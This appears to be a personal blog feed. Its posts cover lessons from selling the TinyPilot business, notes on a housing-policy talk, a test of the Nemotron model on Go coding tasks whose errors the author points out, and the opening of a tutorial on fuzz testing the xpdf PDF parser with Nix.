My only regret about my broker agreement with Quiet Light was that their commission included the value of TinyPilot’s inventory at the time of the sale.

The value of TinyPilot’s inventory could vary by a factor of four depending on where we were in the manufacturing cycle. It makes no sense to pay the broker $20k if my inventory happens to be high vs. $5k if my inventory is low.

Worse, I was selling my inventory to the buyer at cost. It’s not like the broker can negotiate a great price on my unsold inventory and earn their commission that way. If I have $100k in inventory, I only receive $90k for it after paying the broker their commission. The more inventory I had, the more money I’d lose in the sale.

That said, I got lucky, and the deal closed when TinyPilot’s inventory was at its ideal level for the sale. On closing day, we were a couple of weeks away from placing our next manufacturing order for the subsequent eight months. That was perfect because we were low but not so low that the new buyer was coming in understocked. On top of that, there’s wiggle room in calculating inventory value for the broker fee, and Quiet Light calculated it in a way that was especially generous to me.

Still, the broker fee on inventory was one more layer that made timing stressful. If the deal had stretched out another month, I’d have lost $10k on additional broker fees for the inventory.

If I do this again, I’ll push the broker to eliminate inventory from the fee, even if it means giving them a higher percentage of the sale price.

Assume from the start that nothing written is private

The acquisition was for TinyPilot’s assets, including all company emails. This seemed reasonable, as a lot of institutional knowledge is buried in old emails.

As I started thinking more about the sale, I realized that some of my email would be complicated to hand over. What if an employee had said something that was personal and private?

As a fictional example, imagine I had an email from an employee that said, “Ever since my father died, I’ve been struggling with anxiety and depression, and I’ve been feeling unproductive.” That email would be to Michael, their human co-worker, not Michael, the corporate owner of TinyPilot’s email assets. It felt strange and cold to sell that email to the new buyer.

Fortunately, I worked out an agreement between the buyer and the team that before closing, anyone could flag private, personal emails, and I’d purge them before closing.

There were also other sensitive emails, like conversations with my lawyer about the acquisition itself. I didn’t want the buyer to see our private discussions even after the sale was complete, so the purchase agreement excluded those emails from the sale.

In the future, I’d make two changes in how I approach emails in my business:

Make sure everyone on the team understands that in the case of an acquisition, any emails and meeting notes will transfer to the new buyer.
When working with lawyers and brokers on the sale itself, do it from a separate email account from the business I’m selling.

Define what happens to money flows around the time of closing

When we reached closing day, we realized the contract left a lot of ambiguity around who’s entitled to money flowing in and out of the business around the time of the closing:

How do you split bills for services that straddle the closing (e.g., a monthly charge that will be billed again a week after closing)?
What happens to money in PayPal or Shopify that hasn’t yet transferred to your bank?
Who pays when a customer purchases before closing but requests a refund after closing?
Who receives revenue from sales on closing day?
Who pays employees for work on closing day?
Who pays fees associated with closing (e.g., escrow fees)?

The buyer and I found amicable resolutions for everything after the fact, but I wish we had answered these questions more explicitly in the closing contract.

In the transition agreement, value calendar days more than work hours

Most acquisitions have terms around how much work the seller agrees to do after the sale to help the buyer with the post-close transition.

My initial offer to the buyer was that I’d do free consulting for two weeks after the closing for up to 40 hours per week. After that, he could purchase consulting hours from me at $180/hr for up to 10 hours per week.

The buyer counteroffered 30 days of free consulting with a maximum of 80 hours total. That is, the same total hours stretched over a longer period.

I knew a longer transition period would be a better deal for the buyer, but I didn’t realize how much it would cost me.

Even though I was available for 40 hours per week, the buyer couldn’t really use all of those hours. He’s taking over a team of six employees and learning to run everything, so it’s hard for him to direct my time enough to fill 40 hours per week right out of the gate.

I ended up only working about 10 hours per week, but there was still a high cost to me being available every workday for 30 days. There was nothing in the contract about how quickly I had to respond to emails, but I checked my TinyPilot inbox every hour or so. If I did two hours of transition work in a day, it was often spread into several 30-minute chunks, so I didn’t get much else done.

Disconnect non-transferable accounts from business email before closing

Sales below $1M are usually asset sales, meaning that the buyer is purchasing assets from the business but not the business itself. So, I technically still own a company called TinyPilot, but I transferred all of its physical and intellectual property to the new owner.

The few assets I kept were TinyPilot’s banking and payroll accounts, as they’re bound to the LLC itself. The problem was that I forgot to change the email address on those accounts before I handed over control of TinyPilot’s email to the new buyer, so they still had @tinypilotkvm.com emails.

I worked with the new owner to fix the email address on those accounts, but I wish I’d done it myself before transferring TinyPilot’s email.

Take even fewer dependencies on Google

All of TinyPilot’s account credentials were in Bitwarden, so transferring ownership of accounts was smooth. I just added the new owner as an admin in our Bitwarden organization, and he took possession of all the accounts.

The one account that couldn’t transfer over was Google. I used Google Cloud Platform for some TinyPilot services, and I had a dedicated TinyPilot GCP project, but it was within my personal Google account.

There’s a big “Migrate” button at the top of the GCP project settings page, so I naïvely thought pushing that button would let me — I don’t know, migrate the project to the new owner’s GCP account.

When the sale closed, I finally clicked that button and immediately saw this error message:

GCP’s project migration docs are a maze of confusing and incorrect instructions. The gist seemed to be that the new owner and I would each need to create paid Google Workspace accounts and go through some complicated process from there. We had a similar issue with some notes and old documents that I’d stored in Google Drive.

The new owner decided it was too much hassle to do the official migration, so I exported what I could, and we deleted the rest.

In general, I’ve tried to minimize my dependencies on Google, both personally and professionally. Google frequently burns me on corner cases like these, so this is a further reminder to depend on them even less.

What surprised me

Due diligence is unbounded, high-stress work

I greatly underestimated how labor-intensive the due diligence process would be.

At the start, I thought due diligence would be somewhat tedious but still straightforward. The buyer had already seen two years of profit and loss statements before they even signed the LOI. Maybe they’d spot-check a few bank statements to verify that my numbers were real. Perhaps I’d have an opportunity to show off my immaculate bookkeeping ledger, of which I was quite proud.

It turned out that the due diligence process required me to share all of my bank statements from the last two years. And that was just part of the first round of requests.

As we proceeded further into the due diligence process, I needed to create lots of one-off reports to demonstrate different aspects of my business, like how frequently our customers make repeat purchases or which platforms account for what percentage of our revenue.

I didn’t want to expose customer data, so I did custom processing on our reports to avoid leaking customer details. But the more I customized the reports, the more I risked introducing errors into my records. And if I made an error, the buyer would have grounds to sue me later for selling the company based on fraudulent data. So, even for simple reports, I felt stressed about doing them perfectly.

A non-cash buyer makes it harder to push back on due diligence requests. The buyer was presenting me with requests from both himself and the bank. The bank was hard to negotiate with because they didn’t care if the deal fell through. I was more comfortable pushing back against the buyer because he had skin in the game and was motivated to make a deal. But I can’t ask the buyer, “Is this request coming from you or from the bank? Because if it’s you, I’m going to say no; if it’s the bank, I’ll say yes.”

As you prepare to sell, everything costs 4x as much

When you sell a small business, the sale price is usually some multiple of your profit or revenue.

If your annual profit was $100k and businesses like yours sell at 3x annual profit, then you could sell your business for roughly $300k.

Now, imagine you decided to give one of your employees a $10k bonus. Your profit drops to $90k, so your business is only worth $270k. Giving your employee their $10k bonus costs you $40k: the initial $10k you paid plus another $30k in deflated valuation.

It’s not just bonuses — everything you spend money on is 4x as expensive as you’re preparing to sell. If you need to buy someone a new laptop, that $1k laptop now costs $4k.

You don’t strictly need a broker to sell

I liked Quiet Light and have no regrets about using them as the broker to sell TinyPilot, but I was surprised to see that I didn’t strictly need a broker.

My only frame of reference for a deal of this size is buying or selling a house. In that process, the broker does a lot of things I don’t understand or know how to do like listing on MLS or ensuring we’re following municipal regulations for the sale.

Quiet Light’s main contribution was finding a buyer, as that’s something I couldn’t have done on my own. After that, they’re outside of the critical path of the deal. Once we found a buyer, the heavy lifting of getting the deal to close was on my M&A lawyer to prepare and negotiate all the legal documents.

The M&A broker should provide guidance to keep the deal on track, which Quiet Light did. They even found a new lender when the buyer’s lender backed out. But if my broker had disappeared after the LOI, we could have completed the sale without a broker, whereas I couldn’t have closed without a lawyer.

If I sell a business in the future, I may forego a broker if I can find a buyer independently. As a first-time seller, it was worth 15% of the sale price to have an advisor on my side from start to finish. Now that I have more experience, I’d feel more comfortable going through the process on my own, but I valued the broker enough that I’d always keep the option open.

If the non-compete is too restrictive, you’re screwed

If a big tech company hires me as a developer, and the 500th page of my contract says I can never write software for any other company, a judge would likely reject that non-compete as unfair and unenforceable.

If, however, I sell my company, and the purchase agreement says that I agree to never work in software again, a judge might hold me to that promise. My lawyer warned me that judges are stricter in acquisition agreements, as they assume I had reasonable bargaining power and awareness of the agreement. If I signed a bad deal, it’s on me.

When reviewing TinyPilot’s purchase agreement, my lawyer carefully reviewed the non-compete clause with me to ensure that I was only agreeing not to work in the domain of KVM over IP devices rather than software or technology in general.

If there’s no cap on liability, you’re screwed

When you run a business in the US as a corporation or an LLC, the most you can ever lose is the value of the business itself.

If your business is worth $100k, and someone sues you for $5M, the worst that can happen is that they take your business. They can’t take your house, car, or first-born child — only the assets under the business itself. That’s what “limited liability” means in limited liability company (LLC).

My lawyer warned me that when I sell my business, I lose limited liability protection. If the purchase agreement didn’t limit my liability to the buyer, the buyer could later sue me for any amount, even if it exceeds what they paid in the acquisition.

The buyer’s lawyer originally wanted my liability to be uncapped. My lawyer pushed back and said I absolutely shouldn’t sign anything that exposes me to liabilities above the sale price, and the buyer’s lawyer eventually relented.

Buyers have incentive to keep the seller happy

One of my fears in the process was that after I handed over all of TinyPilot’s accounts and domains to the seller, they’d lose incentive to cooperate with me. What if the buyer forgets to update the billing information on one of the accounts, and I get hit with a $2k credit card charge? What leverage would I have to make the buyer reimburse me?

I trusted the buyer, but you also never know how people will behave when power shifts.

It turns out that even if a buyer wants to cheat, the seller still holds the leverage of institutional knowledge. The buyer doesn’t want to screw over the seller for $2k only to realize a month later that they need the seller’s help to access some critical account. So, a nice balance of power keeps both sides on their best behavior.

Resources that helped me prepare

One of the hardest things about the acquisition was how much of it was completely new to me. It’s hard to practice for an acquisition, as even experienced founders only go through a few acquisitions per lifetime.

The most valuable things I did were to read about small business acquisitions and to ask other founders about their experiences selling their businesses.

The following were the resources I found most helpful in approaching my exit:

John Warrilow’s books and podcasts
- Built to Sell was helpful in understanding how to design my business from the start for a potential acquisition.
- The Art Of Selling Your Business covered the practical considerations of the sale itself.
- Built to Sell Radio, Warrilow’s podcast, tends to feature larger, less tech-focused companies. I listened to episodes with founders that seemed closest to my situation. My favorites were Natalie Nagele and Laura Roeder.
  - I appeared on the show after my exit.
Privately telling other founders I’m thinking of selling
- I didn’t know many people who had been through acquisitions, but I discovered that I knew people who knew people. A few friends put me in touch with people they knew who had experience going through acquisitions, and those were some of the most informative conversations I had.
Microconf, an indie-focused founder conference
- I met Quiet Light at Microconf. It was helpful to meet several brokers in person and choose who felt like the best match.
- The conference attracts a lot of founders who have been through acquisitions, so it was helpful to ask attendees about their experience selling companies.
Blog posts
- I learned a lot from reading blog posts about acquisitions written by other indie founders.
- My favorites were:
  - “I sold Baremetrics” by Josh Pigford
  - “What it’s like buying a $128k side project” by Kareem Mayan
  - “Exactly How I Cold Emailed My Way to A Life-Changing Exit (And You Can Too)” by Laura Roeder

Cover image by Piotr Letachowicz.

Takeaways from Charles Marohn's "Escaping the Housing Trap"

Sun, 10 Nov 2024 00:00:00 +0000

Last week, I stumbled upon a reddit post announcing that the author, Charles Marohn, was giving a free talk near my town the next morning. Marohn is the author of Strong Towns, one of my favorite books of the last few years. So, my wife and I attended the talk and enjoyed it.

The talk is based on ideas from Marohn’s new book, Escaping the Housing Trap, which I haven’t read yet, so these notes are from memory.

Takeaways

There’s broad agreement that there’s a housing crisis in the US

Most people agree that there is a housing crisis.
- Housing has become so expensive that most middle class Americans have trouble affording housing.
People disagree about how to solve the crisis.

Contradictory solutions to housing crisis

Solution 1: Housing prices should fall

Pro: Housing becomes affordable for more Americans.
Con: Falls in housing prices historically have had catastrophic effects on the economy.
- Mortgages go underwater, so people stop paying.
- Banks fold because they can’t collect mortgage payments.

Solution 2: Housing prices should increase

Pro: Increased home values is associated with neighborhood prosperity.
Con: As prices increase, fewer Americans can afford homes.

History of mortgages

Pre-1920, home mortgages used to be hyper-local.
- You’d get a mortgage from a local community bank.
- The community bank has all your neighbors’ money, so it makes extremely conservative loans to minimize risk of insolvency (50% down payment, 3-5 year mortgages).
After the Great Depression, the federal government made changes to help banks stay solvent and reduce home foreclosures.
- They created the FDIC, which guaranteed bank balances for account holders.
- They created Fannie Mae, which acted as a secondary market for mortgages (i.e., banks could sell off mortgage debt for cash).
Housing prices have gone through multiple bubbles and bursts since 1920s.
After every bubble burst, one of the primary tools the federal government uses to spur recovery is to make it easier for Americans to obtain mortgages.
- e.g., government guarantees loans, government agrees to buy bad loans, government pushes banks to offer longer-term loans (15-year, then 30-year, now 40-year).

Case-Shiller home price index

The Case-Shiller home price index is an index of home prices in the US.
Marohn showed a graph of the index going back to the early 1900s, but I can’t find it anywhere online.
In Marohn’s graph, you can see clear cycles where home prices peak, then crash as a recession hits, then rise to new highs in response to government intervention.

The problem with accessible mortgages

The more the government intervenes to make loans accessible, the more mortgages become an instrument for banks and investors to profit off of homeowners.
- Mortgages now serve investors’ profits rather than helping Americans afford homes.
Offering 30- or 40-year mortgages encourages homeowners to make irresponsible choices.
- If someone can’t afford a house with a 15-year mortgage, they shouldn’t buy with a 30-year mortgage, either.
Financing is available for high-end and mid-range home construction but very little at the low end.
- It’s difficult to obtain financing to build a 400 square foot house or to turn a single-family home into a duplex.
Higher and higher loans are not sustainable.
- They put Americans deeper in debt and encourage irresponsible purchases.

Marohn’s proposed solutions

Reduce friction in permitting.
- Someone should be able to walk into city hall with building plans at 9 AM and walk out with an approval to start building.
- It’s fine if big box stores still go through months of approvals, but single family homes should be near instant.
Encourage starter homes.
- Offer financing for building small homes.
- Offer financing to let people build backyard cottages (aka in-law apartments / ADUs) if they have excess yard space.
Make duplex to single conversions simpler.
- A retiree living in a 4 bedroom house by themselves should be allowed to add a kitchenette and extra entrance and rent it out with minimal regulatory friction.

An Unsuccessful Experiment with Nemotron

Tue, 29 Oct 2024 00:00:00 +0000

A few weeks ago, NVIDIA released Nemotron, a large language model that they derived from Meta’s Llama 3.1 70B.

NVIDIA claimed at release that Nemotron outperformed GPT-4o and Claude 3.5 Sonnet on certain benchmarks. That was exciting news, as my experience with self-hostable AI models is that they trail commercial models by about a year in terms of accuracy and quality.

I decided to test out Nemotron with a few simple coding tasks to see how it compared to commercial models like Claude 3.5 Sonnet.

Provisioning a cloud server with a GPU

I initially tried to run Nemotron on my local workstation, but my 9-year old GTX 970 GPU said, “Haha, funny joke!” Ollama refused to even install the Nemotron model.

Instead, I provisioned the following server on Scaleway:

Server instance type: H100-1-80G
OS: Debian 12
Disk size: 200 GB (needed because the model is large)

To SSH in, I ran the following command with port forwarding because I’ll need access to the web interface that will run on the server’s localhost interface.

TARGET_IP='51.159.150.3' # Change to your server's IP.
REMOTE_PORT='8080'
LOCAL_PORT='8080'

# SSH in and port-forward a port to access the Open-WebUI web interface.
ssh "${TARGET_IP}" -L "${REMOTE_PORT}:localhost:${LOCAL_PORT}"

Install Docker

Next, I installed Docker so that I can run Ollama under the Open-WebUI web interface:

sudo apt-get update && \
 sudo apt-get install ca-certificates curl && \
 sudo install -m 0755 -d /etc/apt/keyrings && \
 sudo curl -fsSL https://download.docker.com/linux/debian/gpg \
 -o /etc/apt/keyrings/docker.asc && \
 sudo chmod a+r /etc/apt/keyrings/docker.asc &&\
 echo \
 "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
 $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
 sudo tee /etc/apt/sources.list.d/docker.list > /dev/null && \
 sudo apt-get update && \
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && \
 sudo usermod -aG docker "${USER}" && \
 newgrp docker

To test everything is working, run the following command:

docker run hello-world

Start Ollama and Open-WebUI

Since my last Ollama experiment, the install process has gotten even easier.

You can now install Ollama and Open-WebUI in a single Docker container, which is easier than having to deal with Docker Compose:

docker run \
 -d \
 -p 8080:8080 \
 --gpus=all \
 -v ollama:/root/.ollama \
 -v open-webui:/app/backend/data \
 --name open-webui \
 --restart always \
 ghcr.io/open-webui/open-webui:ollama

Once the server is up and running, visit the following URL in your browser:

http://localhost:8080

You’ll first see a page prompting for a login. Click “Sign up.”

Then enter any details. You don’t really need a valid email, as far as I can tell.

From here, you need to download a model to use. Click the settings button:

Click where it says Pull a model from Ollama.com:

For the model, enter nemotron and hit the download button:

It’s a large file, so it’s going to take a few minutes to download. The download progress sits at 100% for a while, but it’s not done until you see a popup announcing the model is fully downloaded.

Test 1: Refactoring code to use `sql.Named`

I recently discovered the sql.Named function in the Go standard library. So, instead of writing SQL queries with the ? placeholder like this:

db.Exec(`
 INSERT INTO
 downloads
 (
 entry_id,
 download_timestamp,
 client_ip,
 user_agent
 )
 VALUES(?,?,?,?)`, // Ugly placeholders!
 id.String(),
 formatTime(r.Time),
 r.ClientIP,
 r.UserAgent,
 )

That’s ugly because the reader has to carry a lot of context in their head to remember what each ? represents, and it’s easy to screw things up when rewriting queries.

Instead, you can write more readable queries with named parameters like this:

db.Exec(`
 INSERT INTO
 downloads
 (
 entry_id,
 download_timestamp,
 client_ip,
 user_agent
 )
 VALUES(@entry_id, @download_timestamp, @client_ip, @user_agent)`,
 sql.Named("entry_id", id.String()),
 sql.Named("download_timestamp", formatTime(r.Time)),
 sql.Named("client_ip", r.ClientIP),
 sql.Named("user_agent", r.UserAgent),
 )

This is one of my favorite coding tasks for an LLM, as it’s easy to describe to an LLM but tedious for a human to fix manually.

To test Nemotron, I had it try to re-do a refactoring I’d already done in Picoshare to replace ? placeholders with sql.Named.

Prompt

Refactor this code to replace the ? placeholders in the SQL query with sql.Named arguments:

package sqlite
import (
 "database/sql"
 "log"
 "github.com/mtlynch/picoshare/v2/picoshare"
)
func (d DB) InsertEntryDownload(id picoshare.EntryID, r picoshare.DownloadRecord) error {
 log.Printf("recording download of file ID %s from client %s", id.String(), r.ClientIP)
 if _, err := d.ctx.Exec(`
 INSERT INTO
 downloads
 (
 entry_id,
 download_timestamp,
 client_ip,
 user_agent
 )
 VALUES(?,?,?,?)`,
 id.String(),
 formatTime(r.Time),
 r.ClientIP,
 r.UserAgent,
 ); err != nil {
 log.Printf("insert into downloads table failed: %v", err)
 return err
 }
 return nil
}

func (d DB) GetEntryDownloads(id picoshare.EntryID) ([]picoshare.DownloadRecord, error) {
 rows, err := d.ctx.Query(`
 SELECT
 download_timestamp,
 client_ip,
 user_agent
 FROM
 downloads
 WHERE
 entry_id=?
 ORDER BY
 download_timestamp DESC`, id)
 if err == sql.ErrNoRows {
 return []picoshare.DownloadRecord{}, nil
 } else if err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 downloads := []picoshare.DownloadRecord{}
 for rows.Next() {
 var downloadTimeRaw string
 var clientIP string
 var userAgent string
 if err := rows.Scan(&downloadTimeRaw, &clientIP, &userAgent); err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 dt, err := parseDatetime(downloadTimeRaw)
 if err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 downloads = append(downloads, picoshare.DownloadRecord{
 Time: dt,
 ClientIP: clientIP,
 UserAgent: userAgent,
 })
 }
 return downloads, nil
}

Output

package sqlite

import (
 "database/sql"
 "log"
 "github.com/mtlynch/picoshare/v2/picoshare"
)

func (d DB) InsertEntryDownload(id picoshare.EntryID, r picoshare.DownloadRecord) error {
 log.Printf("recording download of file ID %s from client %s", id.String(), r.ClientIP)
 params := []sql.NamedArg{
 {Name: "entry_id", Value: id.String()},
 {Name: "download_timestamp", Value: formatTime(r.Time)},
 {Name: "client_ip", Value: r.ClientIP},
 {Name: "user_agent", Value: r.UserAgent},
 }
 if _, err := d.ctx.Exec(`
 INSERT INTO
 downloads
 (
 entry_id,
 download_timestamp,
 client_ip,
 user_agent
 )
 VALUES(:entry_id, :download_timestamp, :client_ip, :user_agent)`,
 params...,
 ); err != nil {
 log.Printf("insert into downloads table failed: %v", err)
 return err
 }
 return nil
}

func (d DB) GetEntryDownloads(id picoshare.EntryID) ([]picoshare.DownloadRecord, error) {
 params := []sql.NamedArg{
 {Name: "entry_id", Value: id},
 }
 rows, err := d.ctx.Query(`
 SELECT
 download_timestamp,
 client_ip,
 user_agent
 FROM
 downloads
 WHERE
 entry_id=:entry_id
 ORDER BY
 download_timestamp DESC`,
 params...,
 )
 if err == sql.ErrNoRows {
 return []picoshare.DownloadRecord{}, nil
 } else if err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 downloads := []picoshare.DownloadRecord{}
 for rows.Next() {
 var downloadTimeRaw string
 var clientIP string
 var userAgent string
 if err := rows.Scan(&downloadTimeRaw, &clientIP, &userAgent); err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 dt, err := parseDatetime(downloadTimeRaw)
 if err != nil {
 return []picoshare.DownloadRecord{}, err
 }
 downloads = append(downloads, picoshare.DownloadRecord{
 Time: dt,
 ClientIP: clientIP,
 UserAgent: userAgent,
 })
 }
 return downloads, nil
}

Commentary

So, Nemotron is off to a poor start. This code does not compile, as the sql APIs don’t accept sql.NamedArg as parameters:

store/sqlite/downloads.go:28:3: cannot use params (variable of type []sql.NamedArg) as []any value in argument to d.ctx.Exec
store/sqlite/downloads.go:51:3: cannot use params (variable of type []sql.NamedArg) as []any value in argument to d.ctx.Query

But even if they did, it’s not as readable as what Claude 3.5 Sonnet produces for the same prompt. Instead of declaring an unnecessary array, it just creates the sql.Named arguments inline, which is much easier to understand:

// Excerpt of output from claude-3-5-sonnet-20241022

 if _, err := d.ctx.Exec(`
 INSERT INTO
 downloads
 (
 entry_id,
 download_timestamp,
 client_ip,
 user_agent
 )
 VALUES(@entryID, @timestamp, @clientIP, @userAgent)`,
 sql.Named("entryID", id.String()),
 sql.Named("timestamp", formatTime(r.Time)),
 sql.Named("clientIP", r.ClientIP),
 sql.Named("userAgent", r.UserAgent),
 ); err != nil {
// ...

Still, Nemotron understood what I wanted and sort of had the right idea about how to implement it.

Test 2: Create unit tests for a Go function

For the second test, I asked Nemotron to write unit tests for a function in PicoShare:

Prompt

Create unit tests for this code:

package parse

import (
 "errors"
 "strings"

 "github.com/mtlynch/picoshare/v2/picoshare"
)

// MaxFilenameBytes is the maximum number of bytes allowed for uploaded files
// There's no technical reason on PicoShare's side for this limitation, but it's
// useful to have some upper bound to limit malicious inputs, and 255 is a
// common filename limit (in single-byte characters) across most filesystems.
const MaxFilenameBytes = 255

var ErrFilenameEmpty = errors.New("filename must be non-empty")
var ErrFilenameTooLong = errors.New("filename too long")
var ErrFilenameHasDotPrefix = errors.New("filename cannot begin with dots")
var ErrFilenameIllegalCharacters = errors.New("illegal characters in filename")

func Filename(s string) (picoshare.Filename, error) {
 if s == "" {
 return picoshare.Filename(""), ErrFilenameEmpty
 }
 if len(s) > MaxFilenameBytes {
 return picoshare.Filename(""), ErrFilenameTooLong
 }
 if s == "." || strings.HasPrefix(s, "..") {
 return picoshare.Filename(""), ErrFilenameHasDotPrefix
 }
 if strings.ContainsAny(s, "\\/\a\b\t\n\v\f\r\n") {
 return picoshare.Filename(""), ErrFilenameIllegalCharacters
 }
 return picoshare.Filename(s), nil
}

Match the style conventions of this file:

package parse_test

import (
 "fmt"
 "strings"
 "testing"

 "github.com/mtlynch/picoshare/v2/handlers/parse"
 "github.com/mtlynch/picoshare/v2/picoshare"
)

func TestGuestLinkLabel(t *testing.T) {
 for _, tt := range []struct {
 description string
 input string
 output picoshare.GuestLinkLabel
 err error
 }{
 {
 description: "accept valid label",
 input: "For my good pals",
 output: picoshare.GuestLinkLabel("For my good pals"),
 err: nil,
 },
 {
 description: "allow empty label",
 input: "",
 output: picoshare.GuestLinkLabel(""),
 err: nil,
 },
 {
 description: "reject labels that are too long",
 input: strings.Repeat("A", parse.MaxGuestLinkLabelLength+1),
 output: picoshare.GuestLinkLabel(""),
 err: parse.ErrGuestLinkLabelTooLong,
 },
 } {
 t.Run(fmt.Sprintf("%s [%s]", tt.description, tt.input), func(t *testing.T) {
 label, err := parse.GuestLinkLabel(tt.input)
 if got, want := err, tt.err; got != want {
 t.Fatalf("err=%v, want=%v", err, want)
 }
 if got, want := label, tt.output; got != want {
 t.Errorf("label=%v, want=%v", label, want)
 }
 })
 }
}

Output

package parse_test
import (
 "fmt"
 "strings"
 "testing"
 "github.com/mtlynch/picoshare/v2/picoshare"
 "github.com/mtlynch/picoshare/v2/parse"
)

func TestFilename(t *testing.T) {
 for _, tt := range []struct {
 description string
 input string
 output picoshare.Filename
 err error
 }{
 {
 description: "accept valid filename",
 input: "example.txt",
 output: picoshare.Filename("example.txt"),
 err: nil,
 },
 {
 (description: "reject empty filename",
 input: "",
 output: picoshare.Filename(""),
 err: parse.ErrFilenameEmpty,
 },
 {
 description: "reject filename too long",
 input: strings.Repeat("A", parse.MaxFilenameBytes+1),
 output: picoshare.Filename(""),
 err: parse.ErrFilenameTooLong,
 },
 {
 description: "reject filename with dot prefix (single dot)",
 input: ".hidden",
 output: picoshare.Filename(""),
 err: parse.ErrFilenameHasDotPrefix,
 },
 {
 description: "reject filename with dot prefix (double dots)",
 input: "..parentdir",
 output: picoshare.Filename(""),
 err: parse.ErrFilenameHasDotPrefix,
 },
 {
 (description: "reject filename with illegal characters (slash)",
 input: "example/file.txt",
 output: picoshare.Filename(""),
 err: parse.ErrFilenameIllegalCharacters,
 },
 {
 description: "reject filename with illegal characters (backspace)",
 input: "example\x08.txt", // \x08 represents a backspace character
 output: picoshare.Filename(""),
 err: parse.ErrFilenameIllegalCharacters,
 },
 } {
 t.Run(fmt.Sprintf("%s [%s]", tt.description, tt.input), func(t *testing.T) {
 filename, err := parse.Filename(tt.input)
 if got, want := err, tt.err; got != want {
 t.Fatalf("err=%v, want=%v", err, want)
 }
 if got, want := filename, tt.output; got != want {
 t.Errorf("filename=%v, want=%v", filename, want)
 }
 })
 }
}

Commentary

Nemotron did okay here, but it made some obvious mistakes:

Nemotron created the wrong path to import the parse package.
- It should have figured out from the example tests that the path to the parse package is .../handlers/parse rather than .../parse.
Nemotron introduced loud syntax errors by sometimes bizarrely emitting a ( instead of a tab character before the description field.
Nemotron misunderstood the rules around filenames with a leading dot.
- It created a test saying that leading dots in a filename like .hidden should be rejected, but the implementation actually says that a single leading dot is okay.

It otherwise created valid tests that have decent coverage of the behavior. I compared it with claude-3-5-sonnet-20241022, and Claude created similar tests but without Nemotron’s errors.

Final thoughts

I found Nemotron disappointing at the few coding tasks I offered. I view these as easy to medium difficulty challenges, so it’s disappointing to see Nemotron fail.

In both cases, output from Claude 3.5 Sonnet was strictly better than output from Nemotron.

Still, it’s always exciting to see activity in self-hostable LLMs, so I hope they continue catching up to commercial models.

Using Nix to Fuzz Test a PDF Parser (Part One)

Wed, 23 Oct 2024 00:00:00 +0000

Fuzz testing is a technique for automatically uncovering bugs in software. The problem is that it’s a pain to set up. Read any fuzz testing tutorial, and the first task is an hour of building tools from source and chasing down dependencies upon dependencies.

I recently found that Nix eliminates a lot of the gruntwork from fuzz testing. I created a Nix configuration that kicks off a fuzz testing workflow with a single command. The only dependencies are Nix and git.

I used my Nix workflow to find an unpatched bug in a PDF renderer, even though I’m a beginner at both Nix and fuzz testing.

A preview of the solution

Here’s a preview of my final result: you can start fuzz testing an open-source PDF reader with a single command:

nix run gitlab:mtlynch/fuzz-xpdf

The command should work on any Linux system with Nix installed, and maybe MacOS, too. After a few minutes of building, you should see a terminal UI that looks like this:

Nix allows me to install all dependencies and begin fuzz testing in a single command.

Here’s everything that happens when you run the command above:

Nix downloads all tools and dependencies for the PDF reader and the testing toolchain.
Nix compiles the PDF reader from source with proper instrumentation for fuzz testing.
Nix downloads a set of edge-case PDFs for generating test inputs.
Nix automatically generates new PDFs, feeds them to the PDF reader, and reports which inputs caused the PDF reader to crash.

If you want to change the fuzzing options or test a different version of the PDF reader, it’s as simple as editing a single file.

I’m going to share how I created the fuzz testing workflow step by step. You can use the same methodology to find bugs in other projects.

If you’re impatient, you can skip to the end to see my final result.

What’s fuzz testing?

Fuzz testing or “fuzzing” is a way of finding bugs in software by randomly generating input data and checking to see if the input causes the target application to crash.

For example, to test a program that resized JPEG images, the workflow would look like this:

Take a set of valid and/or malformed JPEG files.
Randomly select one of the input files and randomly mutate it (flip some bits, add some data, delete some data).
Feed the mutated input file to the image resizing program.
If the mutated input caused the program to crash or hang, save the input for later analysis.
Go back to step (2)

What’s Nix?

Nix is a complex tool that does a lot of different things, many of which I don’t even understand.

For the purposes of this article, it’s sufficient to understand two things about Nix:

Nix is a package manager, similar to apt or yum. Nix has 100k+ packages available to run within the Nix environment.
Nix is a build tool, similar to make or Docker. Nix allows you to define a set of build steps and the dependencies between them. When you request a build from Nix, it performs all the required steps to create the result you requested.

Requirements

To follow along, you’ll only need two things:

Nix (with the flakes feature enabled)
- I recommend the Determinate Systems installer, which enables flakes by default.
git

Selecting a fuzzing target

The PDF reader I’m fuzz testing is called xpdf. It’s a PDF viewer, but it ships with a suite of PDF utilities. One of the utilities, pdftotext is an attractive fuzzing target because it’s so simple. It has no GUI; it just accepts a PDF as input and produces plaintext as output. It still exercises xpdf’s complex PDF parsing code, so if I find a bug in pdftotext, it means I’ve probably found a bug in the whole xpdf suite.

Putting the Nix boilerplate in place

To start the project, I create a new folder and git repository.

mkdir fuzz-xpdf \
 && cd fuzz-xpdf \
 && git init

Next, I create a file called flake.nix:

{
 description = "compile xpdf from source for fuzzing";

 inputs = {
 nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
 flake-utils.url = "github:numtide/flake-utils";
 };

 outputs = { self, nixpkgs, flake-utils }:
 flake-utils.lib.eachDefaultSystem (system:
 let
 pkgs = nixpkgs.legacyPackages.${system};
 in
 {
 packages = rec {
 default = xpdf;

 xpdf = pkgs.stdenv.mkDerivation rec {
 # TODO: I'll populate this next.
 };
 };
 }
 );
}

This is a Nix “flake,” which defines a set of Nix packages and applications.

So far, this is just a boilerplate skeleton of a Nix flake. Most of it is not worth discussing except this line:

nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";

This tells Nix that when I want to pull in packages, I’m pulling them from the May 2024 branch of the package repository, the latest stable branch at the time of this writing.

This file is just a skeleton and won’t successfully build yet. To compile xpdf using Nix, I need to add a few bits.

Specifying a source tarball

To compile xpdf, I need a copy of its source code.

First, I call mkDerivation, which is how Nix defines build components. It requires a package name (pname) and version, so I specify xpdf, the package I want to fuzz, and 4.05, the latest published version of xpdf, as of this writing.

{
 xpdf = pkgs.stdenv.mkDerivation rec {
 pname = "xpdf";
 version = "4.05";
 ...

